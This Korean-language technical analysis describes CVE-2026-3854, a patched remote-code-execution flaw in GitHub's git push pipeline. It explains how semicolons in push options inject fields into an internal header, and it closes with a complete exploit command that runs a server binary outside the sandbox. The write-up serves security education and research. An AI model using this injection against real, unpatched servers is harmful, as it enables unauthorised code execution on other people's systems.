
CVE-2026-3854에 대한 기술적 분석: git push의 헤더 주입을 통한 GitHub RCE로, 취약점, 악용 기법, 그리고 완화 방법을 설명합니다.
Wiz Research가 GitHub.com 및 GitHub Enterprise Server의 내부 git push 파이프라인에서 발견한 취약점의 작동 방식에 대한 실용적인 요약입니다.
이 자료는 교육 및 오펜시브 보안 연구 목적으로 제공됩니다. 이 취약점은 GitHub에서 지원되는 모든 버전에서 이미 패치되었습니다. 본인 소유가 아니거나 서면으로 명시적인 테스트 승인을 받지 않은 환경에서 재현을 시도하지 마십시오. 시스템에 대한 무단 접근은 브라질에서 범죄(2012년 법률 12.737, 일명 Carolina Dieckmann 법)에 해당하며, 컴퓨터 장치 침입으로 간주되어 구금형에 처해질 수 있습니다.
인증된 공격자가 git push -o에 ;를 보내 GitHub에서 RCE를 달성할 수 있습니다. 모든 SSH의 진입점인 GitHub 내부 프록시 babeld는 이를 살균(sanitize)하지 않으며, ;는 내부 헤더 X-Stat을 깨뜨려 gitrpcd가 맹목적으로 신뢰하는 보안 필드를 덮어씁니다. 3개의 필드(rails_env, , )를 덮어쓰면, pre-receive 훅이 서버의 임의 바이너리를 사용자로 연결(concatenate)하여 실행합니다.
custom_hooks_dirrepo_pre_receive_hooksgit
기본적으로 git push에서 ;에 대한 살균이 없기 때문에 X-Stat 헤더에 쓸 수 있으며, 이를 대상 서버의 경로(예: /bin)를 가리키도록 하여 이 헤더의 다른 "필드"인 repo_pre_receive_hooks와 연결할 수 있습니다. 이 필드가 whoami라면, 연결 결과는 /bin/ + whoami가 되어 서버에서 직접 실행됩니다.
그러나 기본적으로 X-Stat의 이러한 필드들은 babeld에 의해 이미 기본값으로 채워져 있습니다. RPC(gitrpcd)는 사용자가 이를 변경할 수 없다고 믿기 때문에 이를 맹목적으로 신뢰하여 읽기 때문입니다:
아래는 babeld가 X-Stat의 필드를 채우는 방식의 예시입니다:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
하지만 git push 중에 ;를 살균하지 않기 때문에, 이 헤더에 직접 쓸 수 있으며, 결정적으로 이 헤더는 last-write-wins(마지막 쓰기가 우선) 방식입니다. 따라서 다음과 같이 실행하면:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
덮어쓰여진 필드는 다음과 같이 됩니다:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(위 예시처럼 단순히 whoami만 넣는 것처럼 간단하지 않습니다. 실제로는 JSON이므로 [{"script":"whoami"}]와 같은 형태가 됩니다.)
그리고 취약한 버전에서는 서버에서 whoami 바이너리를 실행하게 됩니다.
하지만 이것만으로는 여전히 샌드박스 내에서만 실행됩니다. 따라서 X-Stat 헤더의 또 다른 매개변수인 rails_env=production을 변경하는 것이 중요합니다. 이 값은 production이 아닌 다른 값이어야 합니다.
마지막으로, 악성 스크립트는 다음과 같습니다:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"